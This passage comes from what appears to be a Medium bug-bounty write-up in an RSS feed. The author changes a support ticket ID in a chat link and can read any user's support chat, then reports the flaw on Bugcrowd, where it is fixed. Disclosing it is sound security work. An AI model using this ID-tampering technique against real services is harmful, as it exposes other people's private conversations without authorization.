696227 to chat with support regarding the submitted issue. While the ticket ID caught my attention, I decided to change the number 192564 to a random number. Guess what happened next?</p><p><strong>BOOoOM!!</strong></p><p>I was able to see any user ticket support chat :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*-ZyYjHEw_ShSI7bTLDuhIA.gif" /></figure><p>I reported the vulnerability on Bugcrowd at the same time and it was subsequently fixed :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*wg_8Wj4aZo_EoFyjZphlpQ.jpeg" /><figcaption>Bingoo</figcaption></figure><blockquote>Thank you for taking the time to read this piece. Kindly remember to leave a comment sharing your thoughts on the write-up.</blockquote><p><a href="https://www.linkedin.com/in/abdelhy-khaled-950a33228">Feed | LinkedIn</a> — My LinkedIn Profile</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=22d780e59a0d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>